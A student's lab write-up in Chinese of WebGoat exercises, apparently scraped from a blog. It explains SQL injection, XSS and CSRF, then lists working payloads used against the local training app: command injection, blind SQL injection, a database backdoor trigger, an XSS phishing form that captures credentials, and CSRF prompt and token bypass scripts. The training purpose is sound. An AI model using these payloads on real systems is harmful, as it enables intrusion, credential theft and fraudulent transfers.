1. 程式人生 > >EXP9 Web安全基礎實踐

EXP9 Web安全基礎實踐

ucc 網絡 glob 2.x 信用卡 eal () conf rip

EXP9 Web安全基礎實踐

基礎問題回答

1.SQL註入攻擊原理,如何防禦?

原理:SQL註入是一種將SQL代碼添加到輸入參數中,傳遞到服務器解析並執行的一種攻擊手法。SQL註入攻擊是輸入參數未經過濾,然後直接拼接到SQL語句當中解析,執行達到預想之外的一種行為,簡單來說就是讓應用運行本不應該運行的SQL代碼。
防禦:
1.對輸入的數據進行過濾,過濾掉敏感字符。加密數據庫。
2.在PHP配置文件中Register_globals=off;設置為關閉狀態,作用將註冊全局變量關閉。
3.提高數據庫命名技巧,對於一些重要的字段根據程序的特點命名,取不易被猜到的
4.開啟PHP安全模式Safe_mode=on;

2.XSS攻擊的原理,如何防禦?

原理:攻擊者利用網站漏洞,輸入可以顯示在頁面上的、對其他用戶造成影響的HTML代碼;由於受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被註入惡意腳本的頁面後,這段惡意腳本可以順利執行,實現獲取用戶cookie並可以利用用戶身份進行非法操作的目的。
防禦:
在服務器段限制輸入格式,輸入類型,輸入長度以及輸入字符
要註意避免使用一些有潛在危險的html標簽,這些標簽很容易嵌入一些惡意網頁代碼。

3.CSRF攻擊原理,如何防禦?

什麽是CSRF:CSRF(Cross-site request forgery)跨站請求偽造,是一種對網站的惡意利用。盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。
原理:通過偽裝來自受信任用戶的請求來利用受信任的網站。是一種依賴web瀏覽器的、被混淆過的代理人攻擊。
防禦:用戶在瀏覽其它站點前登出站點;在瀏覽器會話結束後清理瀏覽器的cookie;盡量不要在頁面的鏈接中暴露用戶隱私信息;避免全站通用的cookie,嚴格設置cookie的域。

實驗準備

  • 安裝webgoat
    1.打開的時候發現沒有安裝:
    技術分享圖片

2.下載好後,將它放在home裏,開啟webgoat
技術分享圖片

3.當界面停留在上圖所示時,最小化不要關閉。打開瀏覽器,輸入localhost:8080/WebGoat
技術分享圖片

4.選擇默認賬號、密碼即可登陸成功
技術分享圖片

  • 火狐瀏覽器firebug
    1.安裝火狐瀏覽器(附上教程鏈接)
    link
    2.使用時,可以在頁面需要修改的地方右鍵打開
    技術分享圖片

完成列表

技術分享圖片
技術分享圖片

實驗過程

Injection Flaws

1.Command Injection

在目標主機上執行系統命令.

  • 在BackDoors.help旁邊加上

    "& netstat -an & ipconfig"

    技術分享圖片

  • .選中修改後的值再點view,可以看到命令被執行,出現系統網絡連接情況
    技術分享圖片

2.Numeric SQL Injection

註入SQL字符串,使其可以查看所有天氣的數據。

  • 利用firebug在任意一個值後面加上 or 1=1(永真)
    技術分享圖片

  • 點擊GO,就能看到所有天氣
    技術分享圖片

3.Log Spoofing

我們輸入的用戶名會被追加到日誌文件中

  • 在User Name文本框中輸入

    xxx%0d%0aLogin Succeeded for username:admin
    ,其中%0d是回車,%0a是換行符
  • 攻擊成功
    技術分享圖片

4.XPATH Injection

要求使用帳戶Mik/Test123,實現查看其他員工的數據

  • 嘗試構造永真式
user name:gjt‘ or 1=1 or ‘a‘=‘a
password:gjt
  • 成功
    技術分享圖片

5.String SQL Injection

  • 構造一個永真式“1”,那麽不管前面的WHERE是否成立都能執行,所以構造語句‘or 1=‘1,成功得到了全部的信用卡號
    技術分享圖片

6.LAB: SQL Injection

Stage 1:String SQL Injection

使用String SQL註入來繞過身份驗證

  • 修改password的最大程度8→100
    技術分享圖片

  • 以用戶Neville登錄,在密碼欄中輸入‘ or 1=1 --永真式進行SQL註入
  • 成功
    技術分享圖片

Stage 3:Numeric SQL Injection
  • 先使用上一題的辦法登錄進Larry的賬戶
    技術分享圖片

  • Boss的工資最高,所以把其中的value值改為

    101 or 1=1 order by salary desc --
    ,這樣老板的信息就會被排到第一個
  • 點擊ViewProfile進去,即可查看老板的詳細信息
    技術分享圖片

7.Database Backdoors

  • 輸入註入語句:101; update employee set salary=10000,成功把該用戶的工資漲到了10000
    技術分享圖片

  • 再使用語句

    101;CREATE TRIGGER yqhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘ WHERE userid = NEW.userid

    創建一個後門,把表中所有的郵箱和用戶ID都設為我的。
    技術分享圖片

8.Blind Numeric SQL Injection

-構造輸入語句

101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) >

數值 );,根據返回的語句是否合法判斷pin值的範圍。
技術分享圖片
技術分享圖片

  • 這裏使用二分法,確實有些費時費力,需要從2000,3000,2500,2250,2375,2313,2344,2360,2368,2364......一直試下去,最後確定值是2364,輸入2364後破解成功:
    技術分享圖片

9.Blind String SQL Injection

  • 1.輸入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) >‘z‘ );進行猜解,發現結果為Account number is valid,賬戶有效。
    技術分享圖片

猜測是否是大寫字母
技術分享圖片

  • 2.接下來依次猜測之後的字母
    輸入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 2, 1) >‘h‘ );最後確定用戶名為Jill
    技術分享圖片

Cross-Site Scripting (XSS)

1.Phishing with XSS

  • 1.使用XSS和HTML插入制作一個釣魚網站,將其輸在search框中,代碼如下:
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

技術分享圖片

  • 輸入後下拉網頁,會有用戶名和密碼的框出現,隨意輸入用戶名和密碼
    技術分享圖片

  • 成功
    技術分享圖片

2.Reflected XSS Attacks

  • 我們將帶有攻擊性的URL作為輸入源,比如

    <script>alert("23320154329gjt");</script>

    ,就會彈出對話框
    技術分享圖片

  • 成功

3.Stored XSS Attacks

  • 在信息框裏輸入

    <script>alert("20154329gjt");</script>,

    點擊提交之後,留言板上會出現這條信息的標題
    技術分享圖片

  • 點擊標題鏈接,攻擊成功
    技術分享圖片

CSRF

1.Cross Site Request Forgery

  • 在信息框內輸入技術分享圖片(這句話的意思是將Funds即金錢轉到自己的賬戶裏),點擊提交之後可以看到信息
    技術分享圖片

  • 點擊標題鏈接,攻擊成功
    技術分享圖片

2.CSRF Prompt By-Pass

  • 在信息框輸入

    <img src="attack?Screen=src值&menu=menu值&transferFunds=5000" 
    width="1" height="1"> 
    <img src="attack?Screen=src值&menu=menu值&transferFunds=confirm" 
    width="1" height="1">

    技術分享圖片

  • 點擊標題鏈接,攻擊成功
    技術分享圖片

3.CSRF Token By-Pass

  • 在Title輸入:gjt
  • 在Message輸入構造的代碼
<script>
    var tokensuffix;
     
    function readFrame1()
    {
        var frameDoc = document.getElementById("frame1").contentDocument;
        var form = frameDoc.getElementsByTagName("form")[0];
        tokensuffix = ‘&CSRFToken=‘ + form.CSRFToken.value;
     
        loadFrame2();
    }
     
    function loadFrame2()
    {
        var testFrame = document.getElementById("frame2");
        testFrame.src="attack?Screen=src值&menu=menu值&transferFunds=5000" + tokensuffix;
    }
</script>
 
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=main"
    onload="readFrame1();"
    id="frame1" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>
 
<iframe id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"></iframe>

技術分享圖片

  • 點擊Submit,然後在Message List裏點擊“CSRF Token By-Pass Attack”,如下圖所示:
    技術分享圖片

實驗心得與體會

量的積累可以導致質變,確實是這樣,做第一個的時候還有點懵,做的多了慢慢就像打通了任督二脈,突然就懂了。XXS會利用站點內受信任的用戶來盜取數據,而CSRF則通過偽裝來自受信任用戶的請求來利用網站。Besides,網絡上所有的東西都是靠各種各樣的代碼運行起來的,SQL註入真的很機智啊,在此之前我從來不會想過,輸入用戶名的地方輸入了奇奇怪怪的東西會出現意想不到的結果。還有就是使用firebug修改網頁上的代碼,因為無知,所以我覺得很多實驗內容都很神奇。網絡對抗課為我打開了新世界的大門,雖然這個學期很快就要結束了,但是路漫漫其修遠兮,還有太多的東西需要了解、需要學習,想想還有點小激動。

EXP9 Web安全基礎實踐